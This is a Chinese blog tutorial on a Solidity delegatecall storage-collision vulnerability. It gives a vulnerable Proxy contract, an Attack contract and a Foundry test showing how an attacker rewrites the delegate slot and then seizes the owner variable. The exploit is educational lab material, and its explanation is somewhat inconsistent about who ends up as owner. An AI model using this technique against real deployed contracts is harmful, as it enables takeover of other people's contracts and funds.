当前位置: 首页 > news >正文

SolidityFoundry 安全审计测试 Delegatecall漏洞2

名称:

Delegatecall漏洞2

https://github.com/XuHugo/solidityproject/tree/master/vulnerable-defi
描述:

我们已经了解了delegatecall 一个基础的漏洞——所有者操纵漏洞,这里就不再重复之前的基础知识了,不了解或者遗忘的可以再看看上一篇文章;这篇文章的目的是加深一下大家对 delegatecall 的印象并带大家一起去玩点刺激的,拿下一个进阶版的漏洞合约。

这次的攻击目标依然是获得 Proxy 合约中的 owner 权限,我们可以看到两个合约中除了 Proxy合约中的构造函数可以修改合约的 owner 其他地方并没有修改 owner 的函数。我们要如何完成攻击呢?这里需要一点小技巧,大家可以思考一下。

过程:

1、alice分别部署 Delegate、Attack和Proxy合约;
2、攻击者 bob调用 Attack的attack函数,成功将 Proxy合约中的 owner 改成attack的地址。


分析:        

Attack.attack() 函数先将自己的地址转换为 uint256 类型。

然后调用 Proxy.pwn() 函数,相当于调用Delegate.pwn()函数,pwn()函数会根据入参修改变量num(slot 0),由于是delegatecall,所以Proxy合约也是修改slot 0——变量delegate,那么attack函数的参数就会写入Proxy的slot0了,这样我们就相当于把delegate地址改为了Attack合约地址;

然后我们再次调用Proxy.pwn() 函数,现在相当于是调用Attack.pwn()函数,此时我们再来观察 Attack 合约的写法,发现其变量的存储位置故意和 Proxy合约保持一致,并且不难发现 Attack.pwn() 函数的内容也被攻击者写为 owner = msg.sender,这个操作修改了合约中存储位置为 slot1 的变量。所以 Proxy合约使用 delegatecall 调用 Attack.doSomething() 函数就会将合约中存储位置为 slot1 的变量 owner 修改为 msg.sender 也就是 bob的地址,至此攻击者完成了他的攻击。

解决方法:

在使用 delegatecall 时应注意被调用合约的地址不能是可控的;

在较为复杂的合约环境下需要注意变量的声明顺序以及存储位置。因为使用 delegatecall 进行外部调时会根据被调用合约的数据结构来用修改本合约相应 slot 中存储的数据,在数据结构发生变化时这可能会造成非预期的变量覆盖。

proxy合约:

contract Proxy {Delegate delegate;address public owner;uint public num;constructor(address _delegateAddress) public {delegate = Delegate(_delegateAddress);owner = msg.sender;}fallback() external {(bool suc, ) = address(delegate).delegatecall(msg.data); // vulnerablerequire(suc, "Delegatecall failed");}
}

Attack 代码:


contract Attack {Delegate delegate;address public owner;uint public num;Proxy public proxy;constructor(address _proxy) public {proxy = Proxy(_proxy);}function attack() external {address(proxy).call(abi.encodeWithSignature("pwn(uint256)",uint(uint160(address(this)))));//address(proxy).call(abi.encodeWithSignature("pwn(uint256)", 1));}function pwn(uint _num) public {owner = msg.sender;}
}

foundry测试代码:

contract ContractTest is Test {Proxy proxy;Delegate DelegateContract;Attack attack;address alice;address bob;function setUp() public {alice = vm.addr(1);bob = vm.addr(2);}function testDelegatecall() public {DelegateContract = new Delegate(); // logic contractvm.prank(alice);proxy = new Proxy(address(DelegateContract)); // proxy contractattack = new Attack(address(proxy)); // attack contractconsole.log("Alice address", alice);console.log("Proxy owner", proxy.owner());// Delegatecall allows a smart contract to dynamically load code from a different address at runtime.console.log("Change DelegationContract owner to bob...");attack.attack();vm.prank(bob);address(proxy).call(abi.encodeWithSignature("pwn(uint256)", 1));console.log("Proxy owner", proxy.owner());console.log("Exploit completed, proxy contract storage has been manipulated");}
}

相关文章:

  • 【Unity服务器01】之【AssetBundle上传加载u3d模型】
  • 前端 三维空间笔记
  • Java中的NIO编程实践精华
  • 程序的“通用性”和“过度设计”困境
  • zookeeper学习、配置文件参数详解
  • SSM旅游系统
  • WDF驱动开发-WDF总线枚举(一)
  • obsidian中用check list 打造待办清单
  • 在阿里云使用Docker部署MySQL服务,并且通过IDEA进行连接
  • 软件介绍—Fluent Reader (RSS阅读器)
  • SparkSQL的分布式执行引擎-Thrift服务:学习总结(第七天)
  • Java学习 - 网络TCP,UDP协议讲解
  • 基于uni-app和图鸟UI开发上门服务小程序
  • linux库函数 gettimeofday() localtime 使用demo
  • 达梦8 通过日志解释数据守护系统的关停顺序
  • co.js - 让异步代码同步化
  • docker python 配置
  • Python连接Oracle
  • vue2.0项目引入element-ui
  • XForms - 更强大的Form
  • 安装python包到指定虚拟环境
  • 订阅Forge Viewer所有的事件
  • 对话 CTO〡听神策数据 CTO 曹犟描绘数据分析行业的无限可能
  • 分享一份非常强势的Android面试题
  • 理清楚Vue的结构
  • 前端每日实战:61# 视频演示如何用纯 CSS 创作一只咖啡壶
  • 浅谈Kotlin实战篇之自定义View图片圆角简单应用(一)
  • 手写双向链表LinkedList的几个常用功能
  • 数组的操作
  • k8s使用glusterfs实现动态持久化存储
  • Nginx实现动静分离
  • 关于Kubernetes Dashboard漏洞CVE-2018-18264的修复公告
  • 容器镜像
  • ​​​​​​​​​​​​​​汽车网络信息安全分析方法论
  • ​马来语翻译中文去哪比较好?
  • #Linux(权限管理)
  • (2015)JS ES6 必知的十个 特性
  • (TOJ2804)Even? Odd?
  • (含react-draggable库以及相关BUG如何解决)固定在左上方某盒子内(如按钮)添加可拖动功能,使用react hook语法实现
  • (亲测)设​置​m​y​e​c​l​i​p​s​e​打​开​默​认​工​作​空​间...
  • (转)母版页和相对路径
  • (转)四层和七层负载均衡的区别
  • (转载)虚幻引擎3--【UnrealScript教程】章节一:20.location和rotation
  • .jks文件(JAVA KeyStore)
  • .Net Web窗口页属性
  • .NET导入Excel数据
  • .NET连接MongoDB数据库实例教程
  • .net使用excel的cells对象没有value方法——学习.net的Excel工作表问题
  • .NET下的多线程编程—1-线程机制概述
  • @SpringBootApplication 包含的三个注解及其含义
  • [ Linux ] git工具的基本使用(仓库的构建,提交)
  • [ 云计算 | Azure 实践 ] 在 Azure 门户中创建 VM 虚拟机并进行验证
  • [2019/05/17]解决springboot测试List接口时JSON传参异常
  • [android] 请求码和结果码的作用
  • [BZOJ4016][FJOI2014]最短路径树问题